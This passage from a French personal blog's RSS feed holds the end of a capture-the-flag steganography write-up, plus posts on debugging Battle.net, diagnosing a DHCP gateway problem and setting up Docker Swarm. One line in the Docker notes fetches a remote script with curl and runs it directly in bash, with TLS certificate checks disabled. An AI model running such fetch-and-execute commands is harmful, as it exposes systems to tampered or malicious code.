   zsteg grumpy&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.png &lt;span class=&quot;nt&quot;&gt;-E&lt;/span&gt; extradata:0 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; grumpy&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;i+1&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt;.png
 &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Pour que ce script fonctionne, votre image de départ doit s’appeler grumpy1.png.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On obtient donc un puzzle :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-grumpy-puzzle.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-grumpy-puzzle.png&quot; alt=&quot;Image départ&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ce dernier, sans indication est trop compliqué à résoudre à la main. En regardant les données exif des fichiers générés, on trouve sa position dans le puzzle :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;$ exiftool ./grumpy/grumpy4.png
...
User Comment                    : position: 6,9
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Il aurait été judicieux d’écrire un script pour reconstituer l’image à partir de ces données exif. Pour ma part, j’ai utilisé Gimp avec une grille en 30x30 aimantée. Une fois le QR Code reconstitué, ce dernier nous renvoit vers &lt;a href=&quot;https://pastebin.com/raw/F1Y26KDJ&quot;&gt;un lien Pastebin&lt;/a&gt; qui contient des informations encodées en base64. On peut décoder ces informations pour retrouver le binaire original comme suit :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://pastebin.com/raw/F1Y26KDJ &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; content.txt
&lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &amp;lt; content.txt &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; content.dat
file content.dat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-pastebin.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-pastebin.png&quot; alt=&quot;Image pastebin&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On comprend alors que le fichier est une image PNG. En l’ouvrant, il est possible de lire une phrase avec des mots en couleur. En réduisant la luminance dans GIMP sous Teintes-Saturation, certaines lettres et chiffres apparaissent d’une couleur différente :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-pastebin2.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-pastebin2.png&quot; alt=&quot;Image pastebin&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enfin, en regardant les données EXIF du fichier récupéré, on trouve :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;0002ece0  df 84 fa 39 ff d8 00 00  00 2f 69 54 58 74 43 6f  |...9...../iTXtCo|
0002ecf0  6d 6d 65 6e 74 00 00 00  00 00 78 6f 72 28 9a 29  |mment.....xor(.)|
0002ed00  15 2c 05 0d 7a 6a b9 79  16 2d 2a 08 3f 5e 9a 7e  |.,..zj.y.-*.?^.~|
0002ed10  48 4d 29 4e 7e 01 80 79  1a 2a 5f 52 29 45 78 08  |HM)N~..y.*_R)Ex.|
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;En réalisant un XOR entre les éléments en paranthèse et la “clé” en rose, on commence à obtenir notre flag :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;0x9a ^ 0xf4 = &apos;n&apos;
0x29 ^ 0x4d = &apos;d&apos;
0x15 ^ 0x7d = &apos;h&apos;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pourtant en arrivant au bout de la clé, le décodage ne fonctionne plus si on reprend au début de cette dernière. Nous avons donc pour le moment :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;ndh2k1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nous connaissons les deux éléments suivants : 7 puis underscore. Nous retrouvons donc les deux octets manquants qui permettent de compléter notre clé de décodage. Ensuite, il suffit de recommencer au début de la clé pour déchiffrer la suite.&lt;/p&gt;

&lt;p&gt;Notre équipe a fini 8ème du Wargame, une très bonne surprise. Nous espérons pouvoir retenter l’aventure l’année prochaine, et qui sait, faire mieux ?&lt;/p&gt;
</description>
        <pubDate>Sun, 25 Jun 2017 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2017-06-25/write-up-wargame-ndh-xv/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-06-25/write-up-wargame-ndh-xv/</guid>
      </item>
    
    
    
      <item>
        <title>Debugguer Battle.net</title>
        
        <description>&lt;p&gt;J’ai rencontré un bug assez coriace sur le client Battle.net. Cet article peut vous intéresser si vous aussi vous rencontrez l’erreur suivante :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Nous rencontrons un problème de transfert des données. Veuillez vérifier l’état de votre connexion Internet et réessayer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Et en image (cliquez dessus pour l’agrandir) :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/battlenet-erreur.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/battlenet-erreur.png&quot; alt=&quot;Erreur battlenet&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;la-solution&quot;&gt;La solution&lt;/h2&gt;

&lt;p&gt;Pour ceux qui seraient pressés, il suffit d’arrêter toutes les instances de Battle.net puis de supprimer les dossiers suivants :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;C:/Program Files/Battle.net/ ou C:/Program Files (x86)/Battle.net/&lt;/li&gt;
  &lt;li&gt;C:/ProgramData/Battle.net/&lt;/li&gt;
  &lt;li&gt;C:/ProgramData/Blizzard Entertainment/&lt;/li&gt;
  &lt;li&gt;C:/Windows/Temp/&lt;/li&gt;
  &lt;li&gt;%appdata%/Battle.net/ &lt;em&gt;(cf ci-dessous pour les chemins avec des %)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;%localappdata%/Battle.net/&lt;/li&gt;
  &lt;li&gt;%localappdata%/Blizzard Entertainment/&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ensuite réinstallez Battle.net puis vos jeux.&lt;/p&gt;

&lt;p&gt;Source du fix : &lt;a href=&quot;https://us.battle.net/forums/en/bnet/topic/20752501530&quot;&gt;[Solved] Fix Almost any Battle.net bugs with these 9 quick fixes!&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Pour ouvrir les dossiers avec des pourcentages, copiez collez la ligne dans la barre en haut de l’explorateur de fichier Windows. Exemple :&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/battlenet-explorer.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/battlenet-explorer.png&quot; alt=&quot;Ouvrir appadata dans un explorateur de fichier windows&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;diagnostique-réseau&quot;&gt;Diagnostique réseau&lt;/h2&gt;

&lt;h3 id=&quot;la-base--traceroute-ping-pathping&quot;&gt;La base : traceroute, ping, pathping&lt;/h3&gt;

&lt;p&gt;L’erreur laisse penser à un problème réseau. Le support Blizzard demande alors de réaliser un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pathping&lt;/code&gt; (une commande Windows) sur l’ip &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80.239.208.193&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Détermination de l’itinéraire vers 80-239-208-193.customer.teliacarrier.com [80.239.208.193]
avec un maximum de 30 sauts :
  0  MASTERRACE.home [192.168.1.40]
  1  liveboxipv4.home [192.168.1.1]
  2     *        *        *
Traitement des statistiques pendant 25 secondes...
            Source vers ici  Ce nœud/lien
Saut RTT    Perdu/Envoyé = % Perdu/Envoyé = % Adresse
  0                                           MASTERRACE.home [192.168.1.40]
                                0/ 100 =  0%   |
  1    0ms     0/ 100 =  0%     0/ 100 =  0%  liveboxipv4.home [192.168.1.1]

Itinéraire déterminé.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Étonnemment cette commande semble échouer sur l’IP indiquée, ce qui laisse présager un problème réseau. Ceci dit, après quelques recherches, elle échoue sur toutes les IPs. La raison m’est encore inconnue.&lt;/p&gt;

&lt;p&gt;Cependant les commandes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; et &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceroute&lt;/code&gt; fonctionnent parfaitement bien :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Envoi d’une requête &apos;Ping&apos;  80.239.208.193 avec 32 octets de données :
Réponse de 80.239.208.193 : octets=32 temps=22 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112
Réponse de 80.239.208.193 : octets=32 temps=18 ms TTL=112

Statistiques Ping pour 80.239.208.193:
    Paquets : envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 18ms, Maximum = 22ms, Moyenne = 19ms
&lt;/code&gt;&lt;/pre&gt;

&lt;pre style=&quot;white-space: pre&quot;&gt;
Détermination de l’itinéraire vers 80-239-208-193.customer.teliacarrier.com [80.239.208.193]
avec un maximum de 30 sauts :

  1    &amp;lt;1 ms    &amp;lt;1 ms    &amp;lt;1 ms  liveboxipv4.home [192.168.1.1]
  2     *        *        *     Délai d’attente de la demande dépassé.
  3     1 ms     1 ms    &amp;lt;1 ms  xxxx.Caen.francetelecom.net [x.x.x.x]
  4     6 ms     6 ms     6 ms  xxxx.Paris.francetelecom.net [x.x.x.x]
  5     6 ms     6 ms     6 ms  193.252.137.74
  6     *        *        *     Délai d’attente de la demande dépassé.
  7     7 ms     7 ms     7 ms  BLIZZARD-EN.ear2.Paris1.Level3.net [212.73.205.158]
  8     8 ms     7 ms     8 ms  37.244.9.48
  9     *        *        *     Délai d’attente de la demande dépassé.
 10    17 ms    17 ms    18 ms  37.244.10.101
 11     *        *        *     Délai d’attente de la demande dépassé.
 12     *        *        *     Délai d’attente de la demande dépassé.
 13    18 ms    17 ms    18 ms  80-239-208-193.customer.teliacarrier.com [80.239.208.193]

Itinéraire déterminé.
&lt;/pre&gt;

&lt;p&gt;Ces résultats suffisent à disqualifier un problème de réseau basique. On peut donc avancer dans nos recherches et regarder ce qui se passe sur Wireshark.&lt;/p&gt;
&lt;h3 id=&quot;lartillerie-lourde--wireshark&quot;&gt;L’artillerie lourde : Wireshark&lt;/h3&gt;

&lt;p&gt;On va démarrer notre capture un peu avant l’appuie sur le bouton “Mise à jour” et l’arrêter juste après l’apparition du message d’erreur. On constate donc que les échanges sont réalisés sur le port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1119&lt;/code&gt;, un des ports de Battle.net avec deux IP différentes : en &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;185.60.112.06&lt;/code&gt; et dans un protole incconu avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;80.239.208.193&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/battlenet-wireshark.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/battlenet-wireshark.png&quot; alt=&quot;Capture Wireshark&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Il y aurait beaucoup à redire sur le fonctionnement du client Battle.net mais rien qui nous intéresse pour résoudre notre problème.&lt;/p&gt;

&lt;p&gt;À cette étape, à part tenter de déserialiser le protocole incconu, il ne nous reste plus grand chose à faire côté réseau.&lt;/p&gt;

&lt;h2 id=&quot;diagnostique-processus&quot;&gt;Diagnostique processus&lt;/h2&gt;

&lt;p&gt;Le bug étant propre à la machine, il est intéressant de voir comment le processus échange avec le reste du système. Je me suis donc mis en quête d’un équivalent de &lt;a href=&quot;https://linux.die.net/man/1/strace&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt;&lt;/a&gt; pour Windows. Suite aux conseils dans un fil de discussion sur &lt;a href=&quot;http://stackoverflow.com/questions/3847745/systrace-for-windows&quot;&gt;Stackoverflow&lt;/a&gt;, je me suis tourné vers &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx&quot;&gt;Process Monitor&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cette application permet entre autre de suivre les différents appels au registre, au système de fichier, au réseau et les différentes threads crées par l’application.&lt;/p&gt;

&lt;p&gt;On commencer par cliquer sur “Filter”, puis “Filter…”. Là on va choisir dans le premier menu déroulant “Process Name”, puis “contains” dans le second et ensuite on va taper “Battle”. On clique sur ajouter pour rajouter le filtre.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/battlenet-processmonitor1.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/battlenet-processmonitor1.png&quot; alt=&quot;Process Monitor Filter&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Maintenant, vous ne devriez plus que voir les informations liés aux processus Battle.net. Les 3 icônes à droite de sauvegarde servent, dans l’ordre, à :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Lancer/Stopper la capture&lt;/li&gt;
  &lt;li&gt;Activer/Désativer l’autoscroll&lt;/li&gt;
  &lt;li&gt;Vider les logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Et les 5 icônes les plus à droite servent à filtrer les évènements. Voici un exemple de ce que l’on peut obtenir :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/battlenet-processmonitor2.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/battlenet-processmonitor2.png&quot; alt=&quot;Process Monitor Liste&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Process Monitor m’a permis de me rendre compte de deux choses :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Un fichier de log était créé (et j’avais donc son chemin)&lt;/li&gt;
  &lt;li&gt;Battle.net essayait d’accéder à un dossier dans Battle.net.8423 qui n’existait pas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;J’ai alors essayé de supprimer le dossier Battle.net.8423. Mauvaise idée, ça plante complètement Battle.net. Lors de la réinstallation, j’obtiens une erreur de mise à jour du client Battle.net En lisant les logs, je trouve l’erreur “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Failed to fetch Build config&lt;/code&gt;” que je cherche sur Internet et qui m’emmène vers le lien cité dans la partie “Solution”. Il suffit donc de supprimer un certains nombre de fichiers. Probablement qu’une recherche plus poussée dans Process Monitor aurait pu nous ammener à la même conclusion.&lt;/p&gt;

&lt;p&gt;Si nous n’avions pas trouvé de solution, il nous restait la possibilité d’utiliser un debugger / décompilateur (comme IDA ou radare), dans le respect des lois, pour comprendre ce qu’il se passe dans l’executable&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Finalement, l’erreur de Blizzard était trompeuse et la commande pour tester la connectivité réseau (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pathping&lt;/code&gt;) induit elle aussi en erreur. De plus leur client semble avoir tendance à répliquer ses fichiers partout et à les corrompre par la même occasion. Enfin, le fil de discussion obscure mériterait d’être intégré à la FAQ qui est très laconique.&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Feb 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-02-25/battlenet-probleme-transfert-donnees/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-02-25/battlenet-probleme-transfert-donnees/</guid>
      </item>
    
    
    
      <item>
        <title>DHCP et la gestion des passerelles</title>
        
        <description>&lt;p&gt;Après une récente modification de mon serveur DHCP, je me retrouvais dans l’impossibilité de connecter une tablette à mon réseau.
Cette dernière restait bloquée à &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Récupération de l&apos;adresse IP&lt;/code&gt;. Après avoir un peu cherché sur internet, je n’ai pas trouvé de solution satisfaisante.
Le serveur DHCP fonctionnait avec les autres ordinateurs.&lt;/p&gt;

&lt;h2 id=&quot;le-protocole-dhcp&quot;&gt;Le protocole DHCP&lt;/h2&gt;

&lt;p&gt;Le schéma propose une version simplifiée des échanges entre un client et un serveur DHCP.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Client            Serveur
  |---- DISCOVER ---&amp;gt;|
  |&amp;lt;----- OFFER -----|
  |---- REQUEST ----&amp;gt;|
  |&amp;lt;------ ACK ------|
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Il est intéressant de noter que BOOTP est l’ancêtre de DHCP et que DHCP est rétro compatible avec BOOTP. De ce fait, la plus part du paquet DHCP va être vide, et les paramètres DHCP vont se trouver dans les options du paquet BOOTP.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;logs&quot;&gt;Logs&lt;/h2&gt;

&lt;p&gt;J’ai commencé par regarder les logs de &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isc-dhcp-server&lt;/code&gt; :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dhcpd[2207]: DHCPREQUEST for 192.168.1.77 (192.168.1.254) from aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPOFFER on 192.168.1.77 to aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPREQUEST for 192.168.1.77 (192.168.1.254) from aa:aa:aa:aa:aa:aa (android-xx) via br0
dhcpd[2207]: DHCPOFFER on 192.168.1.77 to aa:aa:aa:aa:aa:aa (android-xx) via br0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;J’ai des doutes sur la terminologie utilisée par le serveur DHCP vis à vis du nom des messages envoyés sur le réseau.
D’autant que Bootp utilise aussi les termes Request et Reply pour des cas différents :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Une Request Bootp peut-être un message Discover DHCP&lt;/li&gt;
  &lt;li&gt;Une Reply Bootp peut-être un message Offer DHCP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il semble ici que le terme DHCPREQUEST fasse référence à un message DISCOVER DHCP.
Je suppose donc que la tablette envoie des requêtes DISCOVER et que le serveur lui envoie un paquet OFFER auquel la tablette ne répond pas.
Si on reprends le schéma ci-dessus, je suppose que l’on a ces échanges :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Client            Serveur
  |---- DISCOVER ---&amp;gt;|
  |&amp;lt;----- OFFER -----|
  |                  |
  |---- DISCOVER ---&amp;gt;|
  |&amp;lt;----- OFFER -----|
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;modification-de-la-configuration-en-aveugle&quot;&gt;Modification de la configuration en aveugle&lt;/h2&gt;

&lt;p&gt;J’ai donc modifié la configuration de mon serveur DHCP en la simplifiant le plus possible, jusqu’à ce que ma tablette réussisse à se connecter.
Le coupable était la ligne :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;option routers 192.168.1.254, 192.168.1.1;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;En ne spécifiant qu’une seule passerelle, le problème est résolu :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;option routers 192.168.1.254;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Mais d’où vient ce problème ?&lt;/p&gt;

&lt;h2 id=&quot;traffic-réseau&quot;&gt;Traffic réseau&lt;/h2&gt;

&lt;p&gt;Je me suis demandé ce que pouvait bien envoyer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isc-dhcp-server&lt;/code&gt; à ma tablette pour qu’elle n’en veuille pas.
J’ai donc comparé les paquets envoyé avec les deux configurations différentes.&lt;/p&gt;

&lt;h3 id=&quot;outils&quot;&gt;Outils&lt;/h3&gt;

&lt;p&gt;Pour écouter le traffic réseau j’ai utilisé &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpdump&lt;/code&gt;. L’option &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-vv&lt;/code&gt; est bien pratique car elle permet d’expliquer le contenu du paquet.
Dans le cas d’un protocole inconnu, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-XX&lt;/code&gt; permet d’avoir un hexdump. Les deux sont combinables.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;sudo tcpdump -i br0 -vv -e -n port 67 or port 68 and ether host aa:aa:aa:aa:aa:aa
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;messages-envoyés&quot;&gt;Messages envoyés&lt;/h3&gt;

&lt;p&gt;On lance une capture dans le mode avec les deux gateways. &lt;em&gt;Pour des questions de lisibilité, on filtre sur le nom du paquet DHCP avec grep&lt;/em&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;$ sudo tcpdump -i br0 -v -e -n port 67 or port 68 and ether host 00:08:22:12:af:fd|grep DHCP-Message
tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
	    DHCP-Message Option 53, length 1: Discover
	    DHCP-Message Option 53, length 1: Offer
	    DHCP-Message Option 53, length 1: Discover
	    DHCP-Message Option 53, length 1: Offer
	    DHCP-Message Option 53, length 1: Discover
^C8 packets captured
8 packets received by filter
0 packets dropped by kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On observe en boucle un message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DISCOVER&lt;/code&gt; suivi d’un message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OFFER&lt;/code&gt; et jamais de paquet &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;REQUEST&lt;/code&gt;.
Ce qui confirme bien ma thèse suite à la lecture des logs.&lt;/p&gt;

&lt;h3 id=&quot;comparaison-des-deux-paquets-offer&quot;&gt;Comparaison des deux paquets OFFER&lt;/h3&gt;

&lt;p&gt;Après comparaison du dump hexadecimal des deux paquets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OFFER&lt;/code&gt;, ces derniers sont quasiment identiques. Les deux seules différences sont :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Celui avec les deux gateways fait 4 octets de plus. On notera que c’est aussi la taille d’une ipv4, et c’est du à la seconde adresse.&lt;/li&gt;
  &lt;li&gt;Des valeurs générés aléatoirements sont aussi différentes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En tout cas, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpdump&lt;/code&gt; n’a pas de problème à décoder nos champs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gateway&lt;/code&gt; dans les deux cas.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Default-Gateway Option 3, length 4: 192.168.1.254
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Default-Gateway Option 3, length 8: 192.168.1.254,192.168.1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;A la suite de ça, je suppose donc que c’est le client DHCP qui ne sait pas quoi faire de ces deux gateways.&lt;/p&gt;

&lt;h2 id=&quot;etude-du-client-dhcp&quot;&gt;Etude du client DHCP&lt;/h2&gt;

&lt;p&gt;Le protocole DHCP indique que le client doit envoyer son nom :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Vendor-Class Option 60, length 16: &quot;android-dhcp-6.0&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Je connais maintenant le nom du client DHCP utilisé par la tablette.
Mais comment débugger ça du côté d’Android ? Retouver le code source ? Regarder les logs ? Mais où et comment faire quand on est pas root ?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A suivre&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 10 Feb 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-02-10/passerelles-et-dhcp/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-02-10/passerelles-et-dhcp/</guid>
      </item>
    
    
    
      <item>
        <title>Docker Swarm</title>
        
        <description>&lt;h2 id=&quot;tentative-scaleway&quot;&gt;Tentative Scaleway&lt;/h2&gt;

&lt;p&gt;Etant donné le coup très faible des machines Scaleway, j’ai tenté de provisionné plusieurs machines pour réaliser un swarm. Mais ça a été plus compliqué que prévu.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://community.online.net/t/docker-swarm-cant-initialize-a-manager-in-1-12-using-native-swarm-commands/2832&quot;&gt;Impossible d’initiliaser le manager&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pour contourner ce problème, il faut accepter d’utiliser les IP privées, et donc déclarer votre ip en &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.x.x.x&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/docker/docker/issues/28168&quot;&gt;Modules noyaux nécessaires pour le mesh Swarm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/scaleway/image-ubuntu/issues/78&quot;&gt;Problèmes avec les bootscripts Scaleway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Apparemment les noyaux Scaleway ne supportent pas toujours les modules attendus par Docker Swarm.
Mais il semble que le noyeau de l’image Docker devrait fonctionner.
D’ailleurs, une rapide vérification avec le script ci-dessous nous en assure.&lt;/p&gt;

&lt;p&gt;Malheureusement, malgrés toutes ces précautions, impossible d’avoir un swarm fonctionnel.
Ainsi, une fois le docker registry lancé dans le swarm :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -v 172.18.0.3:5000/v2/_catalog # soit l&apos;IP du conteneur
*   Trying 172.18.0.3...
* Connected to 172.18.0.3 (172.18.0.3) port 5000 (#0)
&amp;gt; GET /v2/_catalog HTTP/1.1
&amp;gt; Host: 172.18.0.3:5000
&amp;gt; User-Agent: curl/7.47.0
&amp;gt; Accept: */*
&amp;gt;
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Content-Type: application/json; charset=utf-8
&amp;lt; Docker-Distribution-Api-Version: registry/2.0
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; Date: Thu, 09 Feb 2017 13:58:15 GMT
&amp;lt; Content-Length: 20
&amp;lt;
{&quot;repositories&quot;:[]}

$ curl -v localhost:5000/v2/_catalog
*   Trying ::1...
* Connected to localhost (::1) port 5000 (#0)
&amp;gt; GET /v2/_catalog HTTP/1.1
&amp;gt; Host: localhost:5000
&amp;gt; User-Agent: curl/7.47.0
&amp;gt; Accept: */*
&amp;gt; 
^C

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ailleurs&quot;&gt;Ailleurs&lt;/h2&gt;

&lt;p&gt;Et pour vérifier que votre noyau supporte bien tout ce qu’il vous faut :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bash &amp;lt;(curl https://raw.githubusercontent.com/docker/docker/master/contrib/check-config.sh -Lk)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;installer-docker-rapidement-sous-debian&quot;&gt;Installer Docker rapidement sous Debian&lt;/h2&gt;

&lt;p&gt;Voici un script réalisé à partir des commandes fournies par la documentation de Docker :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/bin/bash
apt update

apt install -y curl \
  apt-transport-https \
  ca-certificates \
  software-properties-common

curl -fsSL https://yum.dockerproject.org/gpg |
  apt-key add -

add-apt-repository &quot;deb https://apt.dockerproject.org/repo/ debian-$(lsb_release -cs) main&quot;

apt update
apt -y install docker-engine
docker -v
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;créer-le-swarm&quot;&gt;Créer le swarm&lt;/h2&gt;

&lt;ul&gt;
